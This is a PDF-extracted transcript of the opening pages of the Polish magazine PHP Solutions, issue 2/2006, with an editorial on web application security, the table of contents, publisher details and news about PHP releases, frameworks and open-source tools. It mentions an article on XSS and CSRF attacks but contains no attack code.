PHPSolutions_2_2006_PL
-
Upload
damian-ogorow -
Category
Documents
-
view
98 -
download
1
Transcript of PHPSolutions_2_2006_PL
01_okladka_PL.indd 1 2006-01-12, 17:14:35
02_03_Devcon_R_PL.indd 2 2006-01-12, 17:26:21
02_03_Devcon_R_PL.indd 3 2006-01-12, 17:27:37
Spis treści
www.phpsolmag.org4 PHP Solutions Nr 2/2006
Trudno nie odnieść wrażenia, że obawy o bezpie-
czeństwo aplikacji WWW (opartych na PHP i Apa-
che'u) spędzają sen z powiek wielu administratorom
i projektantom systemów. Dochodzi do groźnych w skut-
kach włamań do portali działających na bardzo znanych
systemach CMS typu Open Source (np. XOOPS). Do
ataku intruzi wykorzystują dziury w Apache'u czy forach
dyskusyjnych (np. phpBB). Nawet uważane za bez-
pieczne opensourcowe sklepy internetowe (np. osCom-
merce) wcale takie nie są. Coraz częściej jesteśmy świadkami zhakowanej
strony jakiegoś ważnego projektu (czy też nielubianego polityka :-)) lub, co
gorsza, skasowania plików na naszym serwerze po ostatnim nocnym wła-
maniu (np. tych, których właścicielem był użytkownik apache).
Czy zatem rysuje się przed nami totalnie czarny scenariusz? Czy wy-
korzystujący aplikacje Open Source skazani są na wieczne obawy i stres?
Czy właściciele aplikacji o zamkniętym kodzie mogą czuć się bezpiecznie
(np. IIS Microsoftu)? Przecież do ataku może dojść w każdej chwili, a cią-
głe aktualizacje oprogramowania są męczące, a czasami nawet trudne lub
wręcz niemożliwe do przeprowadzenia, np. z powodu niekompatybilności
nowych aplikacji (np. korzystających z PHP5) ze starym oprogramowa-
niem (np. środowiskiem Apache+PHP4+MySQL). Ach, ten Open Source
– chciałoby się rzec.
Na domiar złego, opracowania poświęcone bezpieczeństwu aplikacji
tworzonych w PHP traktują temat dość ogólnikowo i zbyt teoretycznie – czę-
sto w oderwaniu od rzeczywistych zagrożeń. Wiem, trudno jest stworzyć
jedno wyczerpujące opracowanie – potrzeba tu całej serii artykułów.
Dlatego w PHP Solutions rozpoczynamy cykl artykułów poświęconych
wybranym i najważniejszym aspektom bezpieczeństwa aplikacji WWW.
Pokażemy Wam metody ataków i obrony w praktyce oraz odpowiemy
na wspomniane pytania. Zaczniemy od ataków XSS i CSRF, o których
przeczytacie w artykule Ilii Alshanetsky'ego (http://ilia.ws) – autora książki
Guide to PHP Security, twórcy FUDforum i wielu rozszerzeń PHP. XSS
i CSRF to ataki mało znane wśród programistów, ale bardzo złośliwe
i groźne. Pokażemy kilka ciekawych przykładów, wcielając sie w rolę po-
tencjalnego włamywacza.
Gdy już poczujemy się bezpieczniej, przejdziemy do ułatwiania sobie
życia i pracy. W obecnym numerze rozpoczynamy cykl poświęcony wyko-
rzystaniu wzorców projektowych – z artykułu Pawła Kozłowskiego i Piotra
Szarwasa dowiecie się, jak zbudować elastyczną i solidną aplikację w PHP.
Zobaczycie też, jak nowe architektury, takie jak iConnect, przenoszą funkcjo-
nalność J2EE i .NET do PHP. Dowiecie się więcej o SDO, o którym pisaliśmy
już w poprzednim numerze, jak również o budowaniu aplikacji okienkowych
w PHP-GTK2 z wykorzystaniem narzędzia Glade GUI Builder.
A na CD czeka na Was niespodzianka: m.in. nowy PHP Solutions Live
oraz multimedialny kurs PHP (w tym PHP5) fi rmy KeyStone Learning Sys-
tems.
Zapraszam do lektury i zabawy,
Dariusz Pawłowski
POCZĄTKI
Wzorce projektowe w akcji
– rozwiązania znanych
problemów w praktyce 16
Paweł Kozłowski, Piotr Szarwas
Znajomość wzorców przyspiesza samodzielne
rozwiązywanie wielu problemów programistycz-
nych i systematyzuje terminologię używaną
przez programistów. Ta wiedza zdecydowanie
oszczędza czas potrzebny na stworzenie dobrze
działającej i poprawnie skonstruowanej aplikacji.
W artykule pokażemy w przystępny i solidny
sposób praktyczne wykorzystanie wzorców pro-
jektowych w implementacji aplikacji w PHP5.
TECHNIKI
Obiektowa linia montażowa,
czyli przejrzyste i elastyczne
aplikacje w PHP5 24
Paweł Kozłowski
Jeśli przyjrzymy się wewnętrznej strukturze
zorientowanej obiektowo aplikacji, z łatwością
dostrzeżemy sieć wielu, współpracujących ze
sobą obiektów. Kluczowe staje się pytanie: jak
połączyć ten ogrom funkcjonalności zamknięty
w poszczególnych obiektach w jeden spójny
program? W jaki sposób dwa współpracujące ze
sobą obiekty dowiadują się o swoim istnieniu?
Z artykułu dowiecie się jak przejrzyście i efektyw-
nie projektować aplikacje obiektowe, na przykła-
dzie forum internetowego.
Service Data Objects, czyli
uniwersalny standard dostępu
do danych – część druga 34
Piotr Szarwas
Wracamy do SDO: rozwiązania, które zrewolu-
cjonizuje i zunifi kuje sposób dostępu do danych
w PHP. Tym razem pokażemy, jak szalenie
użyteczne staje się SDO w świecie XML-a, zdej-
mując z barków programisty ciężar przenoszenia
danych między systemem bazodanowym a pli-
kami XML.
NARZĘDZIA
Tworzenie rozwiązań klasy
Enterprise przy zastosowaniu
Solarix iConnect 40
Alex Pagnoni
Ileż razy zdarzało Ci się spotykać na forach
i listach dyskusyjnych stwierdzenia w rodzaju
“PHP to nie Java, tylko prosty język skryptowy.
Potrzebujemy czegoś profesjonalnego, do two-
rzenia poważnych projektów”. Dzięki Solarix
iConnect możesz powiedzieć autorom tych
wypowiedzi, że się mylą i będziesz miał rację:
oto nadchodzi epoka profesjonalnej architektury
programistycznej w PHP, na miarę rozwiązań
typu J2EE czy .NET.
04_05_spis_trescii_PL.indd 4 2006-01-12, 17:16:27
Spis treści
www.phpsolmag.org 5PHP Solutions Nr 2/2006
Recenzje książek 81
BEZPIECZEŃSTWONiebezpieczeństwa atakówXSS i CSRF 48
Ilia Alshanetsky
Spośród wszystkich podatności dotykających
aplikacje internetowe, najczęściej spotykane są
ataki XSS i CSRF. W artykule pokażemy czym
one są, jak się je przeprowadza oraz jak się przed
nimi obronić.
PROJEKTYPiszemy monitor serwera w PHP 56
Patrick O'Brien
Wydaje nam się, że jeśli jeden z naszych serwe-
rów ulegnie awarii, ktoś bardzo szybko nas o tym
poinformuje. W rzeczywistości nic takiego się nie
wydarzy, ponieważ każdy przyjmuje, że sami
dbamy o swój sprzęt. Artykuł pokazuje budowę
prostego systemu monitorowania serwera, pre-
zentującego wyniki w formie wykresów.
Glade GUI Builder– piszemy generator faktur 64
Pablo Dall'Oglio
Ręczne stworzenie interfejsu grafi cznego GTK
dla aplikacji PHP nie jest zadaniem trudnym,
a może zaowocować lepszą wydajnością.
Wymaga jednak sporo czasu. W takiej sytuacji
konieczne staje się skorzystanie z narzędzia
grafi cznego, takiego jak Glade. Pokażemy jak
prosto i szybko tworzyć rozbudowane interfejsy.
PEARStructures_DataGrid dla danych tabelarycznych 72
Aaron Wormus
Tworzenie prostych i estetycznych prezentacji da-
nych tabelarycznych w PHP powinno być równie
łatwe, jak za pomocą arkuszy kalkulacyjnych czy
edytorów HTML. Służy temu Structures_Data-
Grid, pozwalając na swobodny wybór źródła da-
nych i formy prezentacji, a także eksport wyników
do takich formatów, jak XLS (MS Excel) czy CSV.
VARIA
Sukces PHP i Wikpedii:wywiad z Elizabeth Bauer 14
Krzysztof Sobolewski
Listingi wszystkich opisywanych programów zostały zamieszczone na naszej stronieinternetowej www.phpsolmag.org/pl.
Pytania dotycząceprenumeratytel. (22) 887 14 44
e-mail: [email protected]
Software Wydawnictwo Sp. z o.o.
dział prenumeraty
ul. Piaskowa 3
01-067 Warszawa
CDtel. (22) 887 14 44
e-mail: [email protected]
Software Wydawnictwo Sp. z o.o.
Defekty CD/DVD
ul. Piaskowa 3
01-067 Warszawa
Zamówienia /Numery archiwalnetel. (22) 887 14 44
e-mail: [email protected]
sklep on-line: www.shop.software.com.pl
Kontakt z redakcjąe-mail: [email protected]
Software Wydawnictwo Sp. z o.o.
Redakcja PHP Solutions
ul. Piaskowa 3
01-067 Warszawa
Strona WWW/Forumstrona www: www.phpsolmag.org
Tu znajdą Państwo informacje
dotyczące aktualnych i przyszłych
numerów magazynu PHP Solutions.
Forum: www.phpsolmag.org/newforum
Zachęcamy do dyskusji na naszym
forum. Czekamy na propozycje
tematów, które chcieliby Państwo
znaleźć w najbliższym numerze pisma.
Zapraszamy także do wymiany
poglądów z innymi fanami PHP.
Cena Prenumerata: 135 zł
Przelew na konto nr:
46 1440 1299 0000 0000 0391 8238
Nordea Bank Polska S.A.
II Oddział w Warszawie
PHP Solutions jest wydawany przez Software-Wydawnictwo Sp. z o.o.
Dyrektor Wydawniczy: Jarosław Szumski
Market Manager: Sylwia Tuśnio [email protected]
Product Manager: Maciej Krawcewicz [email protected]
Redaktor prowadzący: Dariusz Pawłowski [email protected]
Stali współpracownicy: Paweł Kozłowski [email protected], Paweł Grzesiak [email protected]
Kierownik produkcji: Marta Kurpiewska [email protected]
Projekt okładki: Agnieszka Marchocka
Skład i łamanie: Agnieszka Zadrożna [email protected]
Dział reklamy: [email protected]
Prenumerata: Marzena Dmowska [email protected]
Nakład: 6 000 egz.
Adres korespondencyjny: Software-Wydawnictwo Sp. z o.o.,
ul. Piaskowa 3, 01-067 Warszawa, Polska
tel. +48 22 887 10 10, fax +48 22 887 10 11
www.phpsolmag.org [email protected]
Dołączoną do magazynu płytę CD przetestowano programem AntiVirenKit fi rmy G DATA Software Sp. z o.o.
Redakcja dokłada wszelkich starań, by publikowane w piśmie i na towarzyszących mu nośnikach informacje
i programy były poprawne, jednakże nie bierze odpowiedzialności za efekty wykorzystania ich; nie gwarantuje
także poprawnego działania programów shareware, freeware i public domain.
Uszkodzone podczas wysyłki płyty wymienia redakcja.
Wszystkie znaki fi rmowe zawarte w piśmie są własnością odpowiednich fi rm
i zostały użyte wyłącznie w celach informacyjnych.
Redakcja używa systemu automatycznego składu
Do tworzenia wykresów i diagramów wykorzystano program fi rmy
Osoby zainteresowane współpracą prosimy o kontakt: [email protected]
Druk: ArtDruk
Wysokość nakładu obejmuje również dodruki. Redakcja nie udziela pomocy technicznej w instalowaniu
i użytkowaniu programów zamieszczonych na płytach CD-ROM dostarczonych razem z pismem.
Sprzedaż aktualnych lub archiwalnych numerów pisma po innej cenie niż wydrukowana na okładce– bez zgody wydawcy – jest działaniem na jego szkodę i skutkuje odpowiedzialnością sądową.
Pismo ukazuje się w następujących wersjach językowych:
polskiej , francuskiej , niemieckiej oraz włoskiej .
Opis CD 12
Aktualności 6
Felieton: PHP: Hobby,które przynosi zysk 80
Guillaume Ponçon
04_05_spis_trescii_PL.indd 5 2006-01-12, 17:33:47
Aktualności
PHP Solutions Nr 2/2006www.phpsolmag.org6
MediaWiki 1.5.3Ukazała się nowa wersja MediaWiki, oznaczo-
na symbolem 1.5.3. Oprogramowanie pozwala
na uruchomienie encyklopedii Wikipedia na
własnej stronie WWW. Do najważniejszych
zmian można zaliczyć poprawienie krytycznego
błędu bezpieczeństwa, który dotyczył modułu
odpowiedzialnego za walidację języka interfejsu
użytkownika. Jako że wszystkie poprzednie
wersje 1.5.x są obarczone tym błędem, zaleca
się aktualizację oprogramowania.
Licencja: GPL
http://www.mediawiki.org
PHP 5.1.0Zespół PHP ogłosił zakończenie prac nad PHP
5.1.0, co zaowocowało wypuszczeniem fi nalnej,
stabilnej wersji. Całkowicie przepisano w niej
kod odpowiedzialny za zarządzanie datami,
co skutkuje lepszą obsługą stref czasowych.
Odnotowano też znaczący wzrost wydajności
skryptów w stosunku do poprzednich wersji
5.0.x. Rozszerzenie PDO zakończyło fazy eks-
perymentalne i na stałe zagościło w dystrybucji
PHP. Język wzbogacił się o ponad 30 nowych
funkcji, które uzupełniły dotychczasowe rozsze-
rzenia. Zaktualizowano PEAR do wersji 1.4.5,
a także PCRE oraz SQLite. Poprawiono ponad
400 różnego rodzaju bugów.
http://www.php.net
PHP 5.1.1Potrzeba było zaledwie czterech dni, by opubli-
kować kolejną stabilną wersję PHP, oznaczoną
symbolem 5.1.1. Ponieważ pojawił się problem
konfl iktu nazewnictwa z biblioteką PEAR,
z PHP wycofano natywną klasę do obsługi
daty. Poprawiono krytyczny błąd, który pojawiał
się, gdy ostatnią linią kodu w skrypcie był
komentarz PHP. W PHP 5.1.0 użycie \{$var}
powodowało wyświetlenie {$var} zamiast
oczekiwanego $var. Usunięto niekonsekwen-
cję w formacie PHP_AUTH_DIGEST, która
miała miejsce pomiędzy Apache 1 a 2.
AutodeskAutodesk, fi rma, która znana jest przede wszyst-
kim z narzędzi do renderowania grafi ki prze-
strzennej, planuje w pierwszych miesiącach tego
roku udostępnić pełny kod swojej aplikacji Map-
Server Enterprise. Służy ona do generowania
i wyświetlania map geografi cznych na stronach
WWW. Oprogramowanie umożliwi programistom
tworzenie oprogramowania opartego o PHP,
.NET i Java i przy tym efektywnie wykorzystują-
cego możliwości MapServer. Program zostanie
udostępniony na licencji Open Source. Pojawią
się listy dyskusyjne, raportowanie błędów i możli-
wość wnoszenia własnych poprawek.
http://www.autodesk.com
SmileTAGShoutbox to małe okienko umieszczane na
stronach WWW, w którym publikowane są
minikomentarze Internautów. SmileTAG to
kompletny skrypt implementujący ten pomysł.
Zbudowano go w oparciu o system szablo-
nowy o dużych możliwościach, z łatwymi do
modyfi kacji szablonami, wymagającymi opano-
wania jedynie podstawowych tagów. Okienko
odświeża się automatycznie tylko wówczas, gdy
pojawia się nowa wiadomość (wykorzystuje do
tego technologię AJAX). Do pracy SmileTAG
nie jest wymagana baza danych. Wszystkie
informacje zapisywane są w plikach XML.
Skrypt zabezpieczono przed nadużyciami. Do
dyspozycji oddano fi ltr niecenzuralnych treści,
blokadę zbyt długich i bezsensownych wypowie-
dzi, banowanie adresów IP i nicków. Ponadto
można wprowadzać własne emotikony. Skrypt
obsługuje wiele języków i kontroluje strefy cza-
sowe. Rozpoznaje adresy e-mail i URL w treści.
Licencja: GPL
http://www.smiletag.com
Spotkanie developerów PHP
W dniach 11 i 12 listopada odbyło
się w Paryżu spotkanie dewe-
loperów PHP, na którym omawiano
zachodzące w języku zmiany oraz pró-
bowano rozwiązać wiele problemów,
z którymi spotykają się programiści.
Dyskutowano na temat nadchodzących
wersji, a szczególnie na temat innowacji
w PHP6.
Pierwszą część spotkania po-
święcono pełnemu wparciu standardu
Unicode w PHP6. Mówiono także
o oczyszczaniu PHP ze złych rozwią-
zań, takich jak register _ globals, które
jest przyczyną wielu problemów zwią-
zanych z bezpieczeństwem. Za proble-
matyczny uznano tryb safe _ mode, czy
parametr magic _ quotes, który okazał
się nieporęcznym narzędziem w rękach
programistów. Tryb safe _ mode rodził
wiele problemów związanych z tym,
które pliki może modyfi kować skrypt,
a do których ma mieć zablokowany
dostęp. Docelowo obie funkcje zostaną
usunięte z PHP. Także biblioteki freety-
pe 1 i GD 1 zostaną usunięte z PHP, ja-
ko przestarzałe. Funkcję dl() spotkają
modyfi kacje. Będzie ona dostępna wy-
łącznie z warstwy SAPI. Na spotkaniu
nie zabrakło także informacji o repo-
zytorium PECL i konieczności wzboga-
cenia o nowe możliwości silnika Zend.
Wszystkie rozszerzenia do obsługi baz
danych, zostaną usunięte z ofi cjalnej
dystrybucji i wylądują w repozytorium
PECL. Jedyną metodą obsługi baz
pozostanie PDO. Spotkanie poruszało
także problematykę programowania zo-
rientowanego obiektowo w PHP. Wykaz
omawianych tematów znajduje się na
witrynach php.net.
http://www.php.net/~derick/meeting-no-
tes.html
Zen Cart – profesjonalny sklep internetowy dla wymagających
Zen Cart należy do najlepszych apli-
kacji sklepów internetowych. Jest łu-
dząco podobny do osCommerce, ponie-
waż został stworzony na jego podstawie,
lecz pod względem funkcjonalnym bije
go na głowę. Oprogramowanie w dużej
części przepisano, udoskonalając do-
tychczasowe możliwości i dodając do-
datkowe moduły. Zen Cart bazuje na
wielu sprawdzonych aplikacjach i został
stworzony przy ścisłej współpracy z wła-
ścicielami wielu rozwiązań e-commerce.
Dzięki temu deweloperzy dokładnie
wiedzieli, co sklep internetowy powinien
zawierać i jak działać, aby przynosił
wymierne korzyści. Mamy do dyspozy-
cji instalator w postaci kreatora, dzięki
czemu instalacja przebiega wyjątkowo
przyjemnie i bez zgrzytów.
Zen Cart posiada wszystko to, co
dobry sklep posiadać powinien – sze-
roki wachlarz standardowych opcji, ta-
kich jak dodawanie nowych produktów
i kategorii, moduły promocji, kupony
rabatowe, prezenty, czy lista mailingo-
wa i powiadamianie o produktach. Moż-
liwe jest ustalenie specjalnych cen
na wybrane przedmioty lub rabaty
na cały asortyment. Uwagę zwraca
przyjazny panel administracyjny, ze
zautomatyzowanymi zadaniami, takimi
jak wysyłanie potwierdzenia przyjęcia
zamówienia. Oprogramowanie wzbo-
gacono o narzędzia ułatwiające po-
zycjonowanie w wyszukiwarkach. Nie
zabrakło zatem narzędzia do tworzenia
przyjaznych dla użytkownika odnośni-
ków. Program obsługuje wiele języków,
walut i schematów podatkowych. Zen
Cart jest udostępniany na licencji Open
Source. Witryna internetowa zawiera
przydatne FAQ, czyli listę najczęściej
zadawanych pytań, a także forum, na
którym znajdziemy wielu użytkowników
tego rozwiązania.
Licencja: GPL
http://www.zen-cart.com/
06_07_08_09_10_aktualnosci_PL.indd 6 2006-01-12, 17:30:16
Aktualności
PHP Solutions Nr 2/2006 www.phpsolmag.org 7
DestructorJeżeli brakuje nam w PHP4 funkcji destrukto-
ra klasy, to ta biblioteka powstała, by sprostać
naszym potrzebom. Biblioteka pracuje jako
klasa bazowa i pilnuje wszystkich pracujących
pod nią obiektów, zainicjalizowanych jako jej
podklasy. Jeżeli skrypt PHP spróbuje zakoń-
czyć swoje działanie, zanim obserwowany
obiekt ulegnie destrukcji, biblioteka uruchomi
funkcje odpowiedzialne za destrukcję dostęp-
nych obiektów.
Licencja: GPL
http://www.phpclasses.org/browse/package/
2657.html
PHP SMTP RelayWysyłanie e-maili nie musi oznaczać
konieczności pośrednictwa serwera SMTP.
PHP SMTP Relay to prosta biblioteka, która
pozwala ominąć serwer poczty wychodzącej.
Użytkownik może wybierać pomiędzy dwoma
bibliotekami do nawiązania połączenia:
natywnym protokołem lub protokołem PEAR.
Biblioteka posiada wsparcie dla PHP 4 i 5,
pracując na systemach operacyjnych Win-
dows, Linux i Unix. Znajduje się we wczesnej
fazie rozwoju, choć już teraz działa szybko
i poprawnie.
Licencja: Public Domain
http://www.mail4mkt.com.br/phpsmtprelay
Molins – 200% object
oriented PHP frameworkMolins to w pełni obiektowy framework dla
PHP5, którego ideą jest przeniesienie J2EE
do świata PHP. Inspiracją do jego stworze-
nia były takie projekty jak: Struts, Junit, czy
Log4J. Molins ma także wiele wspólnego
z Jakarta Torque, czy Jakarta Commons. Do
ważnych zalet projektu można zaliczyć dobrą
integrację z systemem szablonowym Smarty,
współpracę z XSLT i umożliwienie tworzenia
logów systemowych. Molins pozwala także na
tworzenie testów jednostkowych. Framework
zalecany jest do budowy większych aplikacji,
a najszybciej przywykną do niego programiści
znający Javę.
Licencja: LGPL
http://www.phpize.com
PHP Link DirectorySzukając oprogramowania do obsługi kata-
logu stron WWW, warto zapoznać się z PHP
Link Directory. Do wygenerowania przyja-
znych odnośników wykorzystuje rozszerzenie
mod_rewrite serwera Apache. Katalog
potrafi jednocześnie wyświetlać PageRank
poszczególnych stron, pobierając aktualne
dane z serwerów Google. Aby ułatwić pracę
administratora, powstał system szablonów
wiadomości e-mail. Pozwala on na obsługę
wymiany odnośników, czy ułatwia wysyła-
nie informacji o zaakceptowaniu adresu do
włączenia do katalogu.
Licencja: GPL
http://www.phplinkdirectory.com
CBL Partial UpdaterTworzenie aplikacji opartych o model AJAX
jest coraz bardziej popularne. Powstaje
wiele bibliotek, które ma to zadanie ułatwić.
CBL Partial Updater, inaczej, niż większość
spotykanych bibliotek, kontroluje wszystkie
operacje po stronie serwera. Dzięki bibliotece
wszystkie istniejące skrypty PHP mogą zostać
zamienione na aplikacje w modelu AJAX
w czasie krótszym niż jedna minuta.
Licencja: LGPL
http://cbl-updater.sourceforge.net
OpenVZ
OpenVZ to aplikacja pracująca na
Linuksie i pozwalająca symulować
rzeczywisty serwer, tworząc niezależne,
odizolowane i bezpieczne wirtualne śro-
dowisko. OpenVZ dba o to, by na jednym
serwerze fi zycznym nie zachodziły żadne
konfl ikty między aplikacjami. Każdy wir-
tualny serwer (VPS) wykonuje wszystkie
operacje zachowując się dokładnie tak,
jakby był osobną, fi zyczną maszyną.
VPS może być zrestartowany niezależ-
nie, bez wpływu na inne. Posiada też
własnego roota, użytkowników, adres
IP, pamięć, procesy, pliki, czy biblioteki
systemowe i pliki konfi guracyjne. Projekt
uzyskał już miano wersji stabilnej. Auto-
rzy borykali się dotychczas z problemem
stabilności środowiska, w przypadku,
gdy mamy do czynienia z wieloma użyt-
kownikami. Jądro aplikacji stanęło przed
zadaniem obsłużenia wielu środowisk
jednocześnie, podczas, gdy standardowe
systemy operacyjne ograniczają się do
jednego. OpenVZ znajdzie zastosowanie
w hostingu, stwarzając możliwość utwo-
rzenia nawet kilkuset serwerów wirtual-
nych na jednej maszynie. Skalowalność
systemu jest zaskakująca. OpenVZ był
testowany z pozytywnym rezultatem na
maszynach wyposażonych w 8 proceso-
rów i 64 GB pamięci podręcznej.
Aktualna wersja OpenVZ, tj. 2.6.8,
wprowadziła sporo udoskonaleń do
projektu. Pojawiła się obsługa 64 bito-
wych procesorów, poprawiono rozliczne
luki w bezpieczeństwie, zaprojektowano
system do prowadzenia regularnych
optymalizacji systemu. OpenVZ to opro-
gramowanie o ogromnych możliwo-
ściach. Polecamy.
Licencja: GNU GPL, QPL
http://openvz.org
CN-STATS
CN-STATS to wielojęzyczny system
statystyk o dużych możliwościach.
Bazuje na PHP i MySQL, nie stawiając
zbytnich wymagań co do wydajności
serwera. Oprogramowanie zbiera wyniki
i dokonuje ich analizy.
Pozwala gromadzić dane o odwie-
dzinach użytkowników i wyszukiwarek
internetowych na naszym serwisie. Jedną
z funkcji CNStats jest sprawdzanie wej-
ściowych fraz wyszukiwawczych. Program
dostarcza też szczegółowych informacji
o witrynach, z których przybyli nasi użyt-
kownicy.
Zebrane wyniki możemy zaprezen-
tować w formie raportów oraz wykresów
(w tym liniowych i słupkowych). Warto
wspomnieć o możliwości generowania ra-
portów za określone przedziały czasowe,
np. z ostatnich 5 minut, 1 godziny, 23 go-
dzin, itd. Do wyboru odpowiedniego okre-
su czasu służy kalendarz. CNStats po-
zwala rozróżniać ruch jako wejścia botów
(wyszukiwarek internetowych) i użytkow-
ników. CNStats posiadają opcję spraw-
dzania efektywności kampanii reklamowej
prowadzonej na naszej witrynie, ułatwiając
zliczanie zdarzeń. Godną uwagi opcją jest
możliwość zakładania fi ltrów na wyniki
statystyk. Tak sporządzone przez program
wyniki będą lepiej oddawały rzeczywi-
stość. Dzięki opcji powiadamiania przez
e-mail niepotrzebne stanie się częste logo-
wanie do panelu. Wystarczy otworzyć
skrzynkę pocztową.
CNStats posiada specjalny moduł, któ-
ry pozwala na prezentację aktualnych sta-
tystyk w specjalnym okienku na naszej wi-
trynie. Możemy je dostosować do naszych
potrzeb.
Ciekawą funkcją CNStats jest również
lokowanie naszych gości na mapie świa-
ta. W tym celu potrzebujemy bazy danych
adresów IP, która zawiera aktualne pozy-
cje konkretnych komputerów i klas IP.
Podsumowując: CNStats to bardzo do-
bre rozwiązanie do badania odwiedzin i ru-
chu na naszej witrynie intenetowej.
Licencja: freeware (w pełni funkcjonalna)/
komercyjna
http://www.cnstats.com
06_07_08_09_10_aktualnosci_PL.indd 7 2006-01-12, 17:30:53
Aktualności
PHP Solutions Nr 2/2006www.phpsolmag.org8
Symfony – frameworkdla wymagającychSymfony to framework stworzony dla PHP5, który z powodzeniem znajduje zastosowa-nie w budowie aplikacji klasy enterprise. Nazwany został odpowiednikiem narzędzi Rails (framework dla języka Ruby i bazy MySQL-a) czy Django (framework dla Py-thona) dla PHP. Symfony wykorzystuje wiele popularnych rozwiązań takich jak AJAX, przyjazne adresy URL, czy wielojęzyczność i bazuje na sprawdzonych projektach Open Source takich jak: Propel, Creole, Mojavi, Pake, PRADO, Spyc. Framework umoż-liwia debugowanie kodu i pisanie testów jednostkowych. Czytelny kod napisany z wykorzystaniem najlepszych praktyk programistycznych i wzorców projektowych czyni z Symfony bardzo elastyczne i łatwe w utrzymaniu rozwiązanie.Licencja: MIT/XCLhttp://www.symfony-project.com
QuickmailSkrypt czyta wiadomości e-mail z serwera IMAP i zwraca je w postaci dokumentów RSS. Dzięki formatowi RSS, informacje mogą zostać obrobione i wyświetlone w przeglą-darce, w postaci strony WWW lub obsłużone przez agregator RSS. Uniwersalność RSS to także możliwość przeglądania wiadomości za pomocą urządzeń przenośnych, obsługują-cych protokół WAP. Quickmail przygotowuje dokumenty spełniające standardy CSS, zgodne z RSS i WML.Licencja: GPLhttp://quickmail.johanfi tie.com
The Slooze PHP Web Photo AlbumThe Slooze to prosta galeria zdjęć dla nie-wymagających, działająca z wykorzystaniem plików tekstowych lub bazy danych MySQL. Wszystkie zdjęcia są organizowane w postaci katalogów, z możliwością łatwego przeszuki-wania. Slooze jest prosty w instalacji, posiada przejrzystą strukturę i łatwo rozszerzyć go o nowe możliwości. Wyjściowy kod aplikacji to czysty kod HTML, bez żadnych dodatkowych skryptów JavaScript, ramek i tabeli. Sprawia to, że aplikacja łatwo się integruje z istniejący-mi już stronami WWW. Licencja: GPLhttp://www.slooze.com
PHP VoiceTworzenie „gadających” aplikacji w PHP należy jeszcze do nowości. PHP Voice to zbiór czte-rech klas, które asystują przy rozwoju aplikacji głosowych. Otrzymujemy wsparcie dla Speech Synthesis Markup w wersji 1.0, Speech Reco-gnition Grammar w specyfi kacji 1.0, CCXML 1.0 oraz dla Voice Extensible Markup Language (VoiceXML) w wersji 2.0.Licencja: GPLhttp://vxml.sourceforge.net
PHP Quebec 2006W dniach 29 – 31 marca odbędzie się już po raz czwarty z rzędu konferencja PHP Qu-ebeck. W hotelu Montreal Plaza spotkają się twórcy języka i najbardziej znani deweloperzy PHP. Omówione zostaną zaawansowane techniki programistyczne, które zostały wprowadzone w nowych odsłonach. Kolejnym tematem będą profesjonalne narzędzia programistyczne, czyli rozwiązania, które zwiększą efektywność programisty. Będzie też mowa o bazach danych, a konkretniej o różnych rozwiązaniach, które mogą zostać użyte w PHP. http://www.phpquebec.org
GuppY – CMS bez bazy danych
CMS-y niewymagające bazy danych
to stosunkowo rzadko stosowane
rozwiązania. Kiedy jednak nie mamy
dostępu do serwera baz danych, Gup-
pY to idealne rozwiązanie: bazujący na
plikach tekstowych i oferujący całkiem
wiele, porządny CMS.
Mamy tu system newsów, komen-
tarzy, artykuły, dział download, FAQ,
książkę gości, sondy, listy mailingowe,
kalendarz, licznik, katalog odnośników
i wiele innych charakterystycznych dla
zwykłych CMS-ów funkcjonalności, w tym
wielojęzyczny interfejs.
Na uwagę zasługuje ciekawy,
wewnętrzny system przesyłania wia-
domości między użytkownikami. Gup-
pY obsługuje również format RSS.
Przewidziano też specjalną, lżejszą
wersję systemu dla urządzeń przeno-
śnych (PDA). Instalacja nie jest trudna
– konieczne jest nadanie odpowiednich
praw dla katalogów, w których będziemy
przechowywać dane. GuppY to dobre
rozwiązanie dla początkującego we-
bmastera – postawienie witryny na ser-
werze to przekopiowywanie plików, bez
zbędnej zabawy z bazami danych. Na
uwagę zasługuje też szybkość działania
aplikacji stworzonej w oparciu o Gup-
pY'ego – brak bazy danych to większa
wydajność systemu.
Licencja: CeCILL Free License
http://www.freeguppy.org
SVN i CVS for Dreamweaver
Prezentujemy dwa przydatne rozsze-
rzenia programu Dreamweaver, umo-
żliwiające współpracę z systemami kon-
troli wersji: CVS (Concurrent Versions
System) i SVN (Subversion). Oba sys-
temy współpracują z Dreamweaverem
w wersji 2.0.
System kontroli wersji to oprogramo-
wanie, które pozwala śledzić zmiany
zachodzące w tworzonym projekcie. Na-
rzędzie zapisuje wszystkie nanoszone
zmiany jako osobne wersje. Gdy zajdzie
potrzeba, możemy przywrócić nasz pro-
jekt do dowolnej wersji wcześniejszej,
czy też przeanalizować różnice, które
w nim zaszły.
Prezentowane oprogramowanie łączy
użyteczność CVS i SVN z przyjaznym
interfejsem dla użytkownika Dreamewa-
vera. Wszystkie operacje kontroli wersji
wykonujemy w obrębie aplikacji. Rozsze-
rzenie pozwala na tworzenie nowych
wersji, uaktualnienie już istniejących,
dokonywanie sprawdzeń, importowanie,
porównywanie różnic, kopiowanie, usu-
wanie, blokowanie, itd.
System SVN ma w niedalekiej
przyszłości zastąpić CVS. Celem je-
go twórców jest wyeliminowanie wad
charakterystycznych dla CVS, takich
jak brak możliwości efektywnego prze-
noszenia plików i zmiany ich nazw,
skomplikowane zarządzanie gałęzia-
mi, czy konieczność wielokrotnego
łączenia się z serwerem przy wielu
wykonywanych operacjach. Możliwości
rozszerzenia SVN są analogiczne do
CVS.
Podsumowując: program znajdzie
zastosowanie we wszystkich bardziej
skomplikowanych projektach, nad
którymi pracuje wielu programistów
jednocześnie. Ułatwi pracę i pozwoli
zapanować nad kodem.
Licencja: komercyjna ($59)
http://www.grafxsoftware.com/product.php/
CVS_for_Dreamweaver/22
06_07_08_09_10_aktualnosci_PL.indd 8 2006-01-12, 17:32:42
Aktualności
PHP Solutions Nr 2/2006 www.phpsolmag.org 9
